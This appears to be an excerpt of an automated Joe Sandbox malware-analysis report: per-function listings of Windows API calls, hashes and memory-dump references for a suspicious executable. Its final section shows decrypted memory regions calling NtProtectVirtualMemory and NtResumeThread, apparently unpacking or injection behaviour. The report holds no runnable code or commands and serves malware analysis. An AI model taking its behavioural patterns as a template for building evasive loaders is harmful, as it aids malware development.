String ID:
API String ID: 3939315453-0
Opcode ID: 209c94fe8e33f847f2405d3a9712247a1b8bb9216b5908a8917fe0bd7a80c077
Instruction ID: 0842cb939f6927aecb542cd9758d214692c03acffe84293a02396fd76ee0080f
Opcode Fuzzy Hash: 209c94fe8e33f847f2405d3a9712247a1b8bb9216b5908a8917fe0bd7a80c077
Instruction Fuzzy Hash: B30144B65001197ADB20ABE49CC9DEBBA7CDB08259F414572F942A3281E3756E4487B8

Function 00415523 Relevance: 7.5, APIs: 5, Instructions: 38threadCOMMON

Download Yara Rule

APIs

GetLastError.KERNEL32(00000103,7FFFFFFF,00416EEF,00417BBE,00000000,?,?,00000000,00000001), ref: 00415525
TlsGetValue.KERNEL32(?,?,00000000,00000001), ref: 00415533
SetLastError.KERNEL32(00000000,?,?,00000000,00000001), ref: 0041557F

Part of subcall function 00416EFC: HeapAlloc.KERNEL32(00000008,?,00000000,00000000,00000001,00415548,00000001,00000074,?,?,00000000,00000001), ref: 00416FF2

TlsSetValue.KERNEL32(00000000,?,?,00000000,00000001), ref: 00415557
GetCurrentThreadId.KERNEL32 ref: 00415568

Memory Dump Source

Source File: 00000006.00000002.2988775057.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2988751185.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2988844634.000000000041B000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2988869751.0000000000420000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2988911004.0000000000422000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2988932561.0000000000423000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2989026209.0000000000427000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_r0bVQRH8Dto7infNi6DOB01w.jbxd

Similarity

API ID: ErrorLastValue$AllocCurrentHeapThread
String ID:
API String ID: 2020098873-0
Opcode ID: 86968800811f432393852c2012b1ac292949c56105930e45964c9f1db916a728
Instruction ID: cede6b9146d9eee740ee2dfbc4b23865fcca372efd47330e9e203dd76af2c63a
Opcode Fuzzy Hash: 86968800811f432393852c2012b1ac292949c56105930e45964c9f1db916a728
Instruction Fuzzy Hash: 09F09635A01611BBC7312B74AC096DB3E62EB857A1B51413AF551962A4DB28888196EC

Function 00417E3A Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 143COMMON

Download Yara Rule

APIs

Part of subcall function 0041570A: InitializeCriticalSection.KERNEL32(00000000,00000000,?,?,00416FB2,00000009,00000000,00000000,00000001,00415548,00000001,00000074,?,?,00000000,00000001), ref: 00415747
Part of subcall function 0041570A: EnterCriticalSection.KERNEL32(?,?,?,00416FB2,00000009,00000000,00000000,00000001,00415548,00000001,00000074,?,?,00000000,00000001), ref: 00415762

GetCPInfo.KERNEL32(00000000,?,?,00000000,00000000,?,?,00414BA4), ref: 00417E8B

Part of subcall function 0041576B: LeaveCriticalSection.KERNEL32(?,00413F70,00000009,00413F5C,00000000,?,00000000,00000000,00000000), ref: 00415778

Strings

WB, xrefs: 00417EF8
+B, xrefs: 00417E7F
WB, xrefs: 00417EA8

Memory Dump Source

Source File: 00000006.00000002.2988775057.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2988751185.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2988844634.000000000041B000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2988869751.0000000000420000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2988911004.0000000000422000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2988932561.0000000000423000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2989026209.0000000000427000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_r0bVQRH8Dto7infNi6DOB01w.jbxd

Similarity

API ID: CriticalSection$EnterInfoInitializeLeave
String ID: +B$WB$WB
API String ID: 1866836854-4076192905
Opcode ID: ee95e9d0b24a19a0cc788d9683df54c17a7a80f6c3da06404699baeb333cbe61
Instruction ID: 91cfe2518806d3d9ee68befd2fe7c4d9c34af4d87c59522c175cbc6726151178
Opcode Fuzzy Hash: ee95e9d0b24a19a0cc788d9683df54c17a7a80f6c3da06404699baeb333cbe61
Instruction Fuzzy Hash: FC41243164C654AEE720DB24D8853EB7BF1AB05314FB4406BE5488B291CABD49C7C74C

Function 0041458F Relevance: 6.5, APIs: 5, Instructions: 278COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2988775057.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2988751185.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2988844634.000000000041B000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2988869751.0000000000420000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2988911004.0000000000422000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2988932561.0000000000423000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2989026209.0000000000427000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_r0bVQRH8Dto7infNi6DOB01w.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 97048a31ed7e8673145bc5a0b9288faae4c75299d979c6b38067687c3c285a89
Instruction ID: b0a20c71c01645f6642c62949d543ab21d76ee58160ce25a59b39075e73dd19d
Opcode Fuzzy Hash: 97048a31ed7e8673145bc5a0b9288faae4c75299d979c6b38067687c3c285a89
Instruction Fuzzy Hash: 4691E671D01514ABCB21AB69DC85ADEBBB4EFC5764F240227F818B62D0D7398DC1CA6C

Function 0041659C Relevance: 6.4, APIs: 5, Instructions: 102memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

HeapAlloc.KERNEL32(00000000,00002020,00420818,00420818,?,?,00416A68,00000000,00000010,00000000,00000009,00000009,?,00413F4F,00000010,00000000), ref: 004165BD
VirtualAlloc.KERNEL32(00000000,00400000,00002000,00000004,?,?,00416A68,00000000,00000010,00000000,00000009,00000009,?,00413F4F,00000010,00000000), ref: 004165E1
VirtualAlloc.KERNEL32(00000000,00010000,00001000,00000004,?,?,00416A68,00000000,00000010,00000000,00000009,00000009,?,00413F4F,00000010,00000000), ref: 004165FB
VirtualFree.KERNEL32(00000000,00000000,00008000,?,?,00416A68,00000000,00000010,00000000,00000009,00000009,?,00413F4F,00000010,00000000,?), ref: 004166BC
HeapFree.KERNEL32(00000000,00000000,?,?,00416A68,00000000,00000010,00000000,00000009,00000009,?,00413F4F,00000010,00000000,?,00000000), ref: 004166D3

Memory Dump Source

Source File: 00000006.00000002.2988775057.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2988751185.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2988844634.000000000041B000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2988869751.0000000000420000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2988911004.0000000000422000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2988932561.0000000000423000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2989026209.0000000000427000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_r0bVQRH8Dto7infNi6DOB01w.jbxd

Similarity

API ID: AllocVirtual$FreeHeap
String ID:
API String ID: 714016831-0
Opcode ID: 3cebd7198669312bdcb80342c8511f4e4e3300f6cdfd7be81cbf94ce20f50e4e
Instruction ID: 0af9858cac0a30669fb94f5f64461d90f8de944a7195c69e4f59e8ed45fdce2d
Opcode Fuzzy Hash: 3cebd7198669312bdcb80342c8511f4e4e3300f6cdfd7be81cbf94ce20f50e4e
Instruction Fuzzy Hash: 983101B0700705EBD3309F24EC45BA2BBE4EB44794F12823AE55597791E778E8818BCC

Function 00409787 Relevance: 6.1, APIs: 4, Instructions: 98COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 0040978C

Part of subcall function 004095DD: EnterCriticalSection.KERNEL32(?,?,?,00409903), ref: 004095E2
Part of subcall function 004095DD: LeaveCriticalSection.KERNEL32(?,?,?,00409903), ref: 004095EC

EnterCriticalSection.KERNEL32(?), ref: 004097B9
LeaveCriticalSection.KERNEL32(?), ref: 004097D5
__aulldiv.LIBCMT ref: 00409824

Memory Dump Source

Source File: 00000006.00000002.2988775057.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2988751185.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2988844634.000000000041B000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2988869751.0000000000420000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2988911004.0000000000422000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2988932561.0000000000423000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2989026209.0000000000427000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_r0bVQRH8Dto7infNi6DOB01w.jbxd

Similarity

API ID: CriticalSection$EnterLeave$H_prolog__aulldiv
String ID:
API String ID: 3848147900-0
Opcode ID: 985cff57d02d2bbd00f179e979cdbab89758c627aa779ce2aa11222f2ed784f0
Instruction ID: 0a470d0c852558693c62499fef9fcf54cb9603282822d0262474d13d459b1607
Opcode Fuzzy Hash: 985cff57d02d2bbd00f179e979cdbab89758c627aa779ce2aa11222f2ed784f0
Instruction Fuzzy Hash: D2316076A00219AFCB10EFA1C881AEFBBB5FF48314F00442EE10573692CB79AD45CB64

Function 004095F7 Relevance: 6.0, APIs: 4, Instructions: 37windowtimeCOMMON

Download Yara Rule

APIs

Part of subcall function 00413260: SetEvent.KERNEL32(00000000,00407649), ref: 00413263

GetDlgItem.USER32(?,000003E8), ref: 0040961A
LoadIconA.USER32(00000000), ref: 00409634
SendMessageA.USER32(?,00000080,00000001,00000000), ref: 00409645
SetTimer.USER32(?,00000003,00000064,00000000), ref: 00409654

Memory Dump Source

Source File: 00000006.00000002.2988775057.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2988751185.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2988844634.000000000041B000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2988869751.0000000000420000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2988911004.0000000000422000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2988932561.0000000000423000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2989026209.0000000000427000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_r0bVQRH8Dto7infNi6DOB01w.jbxd

Similarity

API ID: EventIconItemLoadMessageSendTimer
String ID:
API String ID: 2758541657-0
Opcode ID: a2a1fe83cc9e0c6555ab30a5ba5d34d7e9637e7b1c96707fcad98147a719e390
Instruction ID: 551790b6ae67963d7c94afa5d69916b6b09ae611f895d6b9f891aac7cfc7161a
Opcode Fuzzy Hash: a2a1fe83cc9e0c6555ab30a5ba5d34d7e9637e7b1c96707fcad98147a719e390
Instruction Fuzzy Hash: AF010830140B00AFD7219B21DD5AB66BBA1BF04721F008B2DE9A7959E0CB76B951CB48

Function 0040D7CC Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 185COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 0040D7D1

Strings

, xrefs: 0040D988
, xrefs: 0040D9B0

Memory Dump Source

Source File: 00000006.00000002.2988775057.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2988751185.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2988844634.000000000041B000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2988869751.0000000000420000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2988911004.0000000000422000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2988932561.0000000000423000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2989026209.0000000000427000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_r0bVQRH8Dto7infNi6DOB01w.jbxd

Similarity

API ID: H_prolog
String ID: $
API String ID: 3519838083-227171996
Opcode ID: f310208c7012b047481696f3de0866f141f831578990e3312a3a639e5dd044ff
Instruction ID: b608afa5533618173c50a936dd0dc92eebd328cd23ff399218f1dfb4b0bc6294
Opcode Fuzzy Hash: f310208c7012b047481696f3de0866f141f831578990e3312a3a639e5dd044ff
Instruction Fuzzy Hash: 6A713571E0020A9FCB24DF99D481AAEB7B1FF48314F10457ED416B7691D734AA8ACF54

Function 00403D5A Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 152COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00403D5F

Part of subcall function 00403F3C: __EH_prolog.LIBCMT ref: 00403F41

Strings

KA, xrefs: 00403DA1, 00403DD1, 00403DA4
> @, xrefs: 00403D6A

Memory Dump Source

Source File: 00000006.00000002.2988775057.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2988751185.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2988844634.000000000041B000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2988869751.0000000000420000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2988911004.0000000000422000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2988932561.0000000000423000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2989026209.0000000000427000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_r0bVQRH8Dto7infNi6DOB01w.jbxd

Similarity

API ID: H_prolog
String ID: > @$KA
API String ID: 3519838083-301980584
Opcode ID: f9624756dcd051103a0faf5414ab264e1043146aad46313972ce47ae36e47b30
Instruction ID: 0797aa4f2666763f951e0621ef07ec53320c6840b80f95fc9e8c0876c74f2843
Opcode Fuzzy Hash: f9624756dcd051103a0faf5414ab264e1043146aad46313972ce47ae36e47b30
Instruction Fuzzy Hash: 27517D30D0020A9ACF15EF95C855AEEBF7AAF5430AF10452FE452372D2DB795B06CB89

Function 0041808D Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 124COMMON

Download Yara Rule

APIs

GetCPInfo.KERNEL32(?,00000000), ref: 004180A1

Strings

, xrefs: 004180EA
, xrefs: 004180C6

Memory Dump Source

Source File: 00000006.00000002.2988775057.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2988751185.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2988844634.000000000041B000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2988869751.0000000000420000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2988911004.0000000000422000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2988932561.0000000000423000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2989026209.0000000000427000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_r0bVQRH8Dto7infNi6DOB01w.jbxd

Similarity

API ID: Info
String ID: $
API String ID: 1807457897-3032137957
Opcode ID: 8b363f32da595bfb59a3e5cf7fceda2159d83bff833a4ab1ae99a185f1cff2df
Instruction ID: d0f9309d8466ab513fef0fe96190925d4c3a9a36aebfd3e00fd14af349a29a6b
Opcode Fuzzy Hash: 8b363f32da595bfb59a3e5cf7fceda2159d83bff833a4ab1ae99a185f1cff2df
Instruction Fuzzy Hash: 18417C322046586EEB22DB14CC4DFFB7FA8DB06700F9400EAD549C7162CA794985CBAA

Function 00405F5E Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 70COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00405F63
LoadStringW.USER32(KA,?,?,00000000), ref: 00405FBC

Strings

KA, xrefs: 00405FB9

Memory Dump Source

Source File: 00000006.00000002.2988775057.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2988751185.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2988844634.000000000041B000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2988869751.0000000000420000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2988911004.0000000000422000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2988932561.0000000000423000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2989026209.0000000000427000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_r0bVQRH8Dto7infNi6DOB01w.jbxd

Similarity

API ID: H_prologLoadString
String ID: KA
API String ID: 385046869-4133974868
Opcode ID: e6db0625694eca8672df4367e77b25990e3c0bbb9f4bdb8bdb41469bebcffd79
Instruction ID: f8b33de4bb70f64bdff40eb498b0250b344fd9cf2a6d880d3b442eae3703c9f6
Opcode Fuzzy Hash: e6db0625694eca8672df4367e77b25990e3c0bbb9f4bdb8bdb41469bebcffd79
Instruction Fuzzy Hash: B8212771D0011A9BCB05EFA1C9919EEBBB5FF08308F10407AE106B6291DB794E40CB98

Function 00405EBC Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 56COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00405EC1
LoadStringA.USER32(KA,?,?,00000000), ref: 00405F12

Strings

KA, xrefs: 00405F0F

Memory Dump Source

Source File: 00000006.00000002.2988775057.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2988751185.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2988844634.000000000041B000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2988869751.0000000000420000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2988911004.0000000000422000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2988932561.0000000000423000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2989026209.0000000000427000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_r0bVQRH8Dto7infNi6DOB01w.jbxd

Similarity

API ID: H_prologLoadString
String ID: KA
API String ID: 385046869-4133974868
Opcode ID: 65d677eaf710bde40107d5e97ee8b2feebca7ae19d827cde6303db2279eeba92
Instruction ID: 682fdee239e6c4724d42c8af7adc4720fc3e2d38c4520a7b7ac2604701000241
Opcode Fuzzy Hash: 65d677eaf710bde40107d5e97ee8b2feebca7ae19d827cde6303db2279eeba92
Instruction Fuzzy Hash: 6C1126B1D011199ACB06EFA5C9959EEBBB4FF18304F50447EE445B3291DB7A5E00CBA4

Function 004160FA Relevance: 5.1, APIs: 4, Instructions: 53memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

HeapReAlloc.KERNEL32(00000000,00000050,00000000,00000000,00415EC2,00000000,00000000,00000000,00413EF1,00000000,00000000,?,00000000,00000000,00000000), ref: 00416122
HeapAlloc.KERNEL32(00000008,000041C4,00000000,00000000,00415EC2,00000000,00000000,00000000,00413EF1,00000000,00000000,?,00000000,00000000,00000000), ref: 00416156
VirtualAlloc.KERNEL32(00000000,00100000,00002000,00000004), ref: 00416170
HeapFree.KERNEL32(00000000,?), ref: 00416187

Memory Dump Source

Source File: 00000006.00000002.2988775057.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2988751185.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2988844634.000000000041B000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2988869751.0000000000420000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2988911004.0000000000422000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2988932561.0000000000423000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2989026209.0000000000427000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_r0bVQRH8Dto7infNi6DOB01w.jbxd

Similarity

API ID: AllocHeap$FreeVirtual
String ID:
API String ID: 3499195154-0
Opcode ID: b9288557613d4b1507cb107ac5399481b8ee784b68c3247b56fc213fdecf1f33
Instruction ID: c92a38fae87bb937ac208a7a453d8678043178d73965b4d0b203d58dccefea2c
Opcode Fuzzy Hash: b9288557613d4b1507cb107ac5399481b8ee784b68c3247b56fc213fdecf1f33
Instruction Fuzzy Hash: 98112B31300B01BFC7318F29EC869567BB5FB49764791862AF151C65B0C7709842CF48

Function 004156E1 Relevance: 5.0, APIs: 4, Instructions: 12COMMON

Download Yara Rule

APIs

InitializeCriticalSection.KERNEL32(?,004154C2,?,00414B74), ref: 004156EE
InitializeCriticalSection.KERNEL32(?,004154C2,?,00414B74), ref: 004156F6
InitializeCriticalSection.KERNEL32(?,004154C2,?,00414B74), ref: 004156FE
InitializeCriticalSection.KERNEL32(?,004154C2,?,00414B74), ref: 00415706

Memory Dump Source

Source File: 00000006.00000002.2988775057.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2988751185.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2988844634.000000000041B000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2988869751.0000000000420000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2988911004.0000000000422000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2988932561.0000000000423000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2989026209.0000000000427000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_r0bVQRH8Dto7infNi6DOB01w.jbxd

Similarity

API ID: CriticalInitializeSection
String ID:
API String ID: 32694325-0
Opcode ID: 9da826fcb73db9b2f0886f92194b085cad0f2cdeae026ac3c84f39be76329a94
Instruction ID: 9a5a21d657ffcc76f5c3c67f011d6e28d8344b300781f1748fbef07cd2b7b2eb
Opcode Fuzzy Hash: 9da826fcb73db9b2f0886f92194b085cad0f2cdeae026ac3c84f39be76329a94
Instruction Fuzzy Hash: CCC00231A05138ABCB712B65FC048563FB5EB882A03558077A1045203186612C12EFD8

Analysis Process: 6UF1Jcwj34zqEggktO7mg1WS.exePID: 364, Parent PID: 4032COMMON

Execution Graph

Execution Coverage:	11.2%
Dynamic/Decrypted Code Coverage:	99.5%
Signature Coverage:	0%
Total number of Nodes:	376
Total number of Limit Nodes:	11

Executed Functions

Function 05CD0040 Relevance: 2.3, Strings: 1, Instructions: 1081
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

2, xrefs: 05CD0B80

Memory Dump Source

Source File: 00000008.00000002.2649989864.0000000005CD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05CD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_5cd0000_6UF1Jcwj34zqEggktO7mg1WS.jbxd

Similarity

API ID:
String ID: 2
API String ID: 0-450215437
Opcode ID: 831a1df592f1cc5f22901b71cddfc96a4f8a07c622338669a18789cba3d00caf
Instruction ID: 253ebdb70001ae57b5b1ce59b49d828e49d5cb1d6b2d38b200ba189ba6167173
Opcode Fuzzy Hash: 831a1df592f1cc5f22901b71cddfc96a4f8a07c622338669a18789cba3d00caf
Instruction Fuzzy Hash: BFC2B3B4E012298FCB65DF69C884B9DBBB5FB88300F1091EAD509AB355DB709E85CF50

Function 05CB0F43 Relevance: 1.6, APIs: 1, Instructions: 64
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtProtectVirtualMemory.NTDLL(?,?,?,?,?), ref: 05CB0FD1

Memory Dump Source

Source File: 00000008.00000002.2649764879.0000000005CB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05CB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_5cb0000_6UF1Jcwj34zqEggktO7mg1WS.jbxd

Similarity

API ID: MemoryProtectVirtual
String ID:
API String ID: 2706961497-0
Opcode ID: 74ef07834f58df917e8481cba2d629726eff5af9b192ab451c1745277f07cf01
Instruction ID: 4606331b5d50fc854cfe0ef36c859487a9357a9056ff4a5f8186776069fac84b
Opcode Fuzzy Hash: 74ef07834f58df917e8481cba2d629726eff5af9b192ab451c1745277f07cf01
Instruction Fuzzy Hash: 9921F0B1D013499FDB10CFAAD984ADEFBF5FF48310F20842AE519A7240C775A910CBA1

Function 05CB0F48 Relevance: 1.6, APIs: 1, Instructions: 63
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtProtectVirtualMemory.NTDLL(?,?,?,?,?), ref: 05CB0FD1

Memory Dump Source

Source File: 00000008.00000002.2649764879.0000000005CB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05CB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_5cb0000_6UF1Jcwj34zqEggktO7mg1WS.jbxd

Similarity

API ID: MemoryProtectVirtual
String ID:
API String ID: 2706961497-0
Opcode ID: ea9e8f8be021ce2081a067accffad399fb3cc85db027ffc8aa8fd2cc78eaf9e7
Instruction ID: 0ea0652989c230379e0104e208a392435847d42022594e63dc703f4033d79c9d
Opcode Fuzzy Hash: ea9e8f8be021ce2081a067accffad399fb3cc85db027ffc8aa8fd2cc78eaf9e7
Instruction Fuzzy Hash: 6D2103B1D013499FDB10CFAAD984ADEFBF5FF48310F20842AE519A7240C775A910CBA1

Function 05CB203B Relevance: 1.6, APIs: 1, Instructions: 55nativethreadCOMMON

Download Yara Rule

APIs

NtResumeThread.NTDLL(?,?), ref: 05CB20AE

Memory Dump Source

Source File: 00000008.00000002.2649764879.0000000005CB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05CB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_5cb0000_6UF1Jcwj34zqEggktO7mg1WS.jbxd

Similarity

API ID: ResumeThread
String ID:
API String ID: 947044025-0
Opcode ID: a782c25423ca523a56217c9f598ac09af4b9b319a67e99ebbc3bd51c6b02e057
Instruction ID: 13a92b848706c0d7162c5686cc0636bce64caba3d9621e099fb7596666354ba9
Opcode Fuzzy Hash: a782c25423ca523a56217c9f598ac09af4b9b319a67e99ebbc3bd51c6b02e057
Instruction Fuzzy Hash: 0B11F4B19003099BDB20DFAAC485B9EFBF5BF88620F14842AD519A7240CB75A904CFA5

Function 05CB2040 Relevance: 1.6, APIs: 1, Instructions: 54nativethreadCOMMON

Download Yara Rule

APIs

NtResumeThread.NTDLL(?,?), ref: 05CB20AE

Memory Dump Source

Source File: 00000008.00000002.2649764879.0000000005CB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05CB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_5cb0000_6UF1Jcwj34zqEggktO7mg1WS.jbxd

Similarity

API ID: ResumeThread
String ID:
API String ID: 947044025-0
Opcode ID: 05f9f0a38a3227e6ddfcf1da1fe739bf07f5b4b97f8bb21655494873b286fc3c
Instruction ID: 383e5451cc8bcd71848735421a28b43442d9c854e0cf8ba537dffd3c61f17494
Opcode Fuzzy Hash: 05f9f0a38a3227e6ddfcf1da1fe739bf07f5b4b97f8bb21655494873b286fc3c
Instruction Fuzzy Hash: FE1117B1D003098FDB20DFAAC48579EFBF4FF88620F10842AD519A7240CB75A904CFA5

Function 05CDBD58 Relevance: 1.5, Strings: 1, Instructions: 246COMMON

Download Yara Rule

Strings

{NK, xrefs: 05CDC08D

Memory Dump Source

Source File: 00000008.00000002.2649989864.0000000005CD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05CD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_5cd0000_6UF1Jcwj34zqEggktO7mg1WS.jbxd

Similarity

API ID:
String ID: {NK
API String ID: 0-2109785523
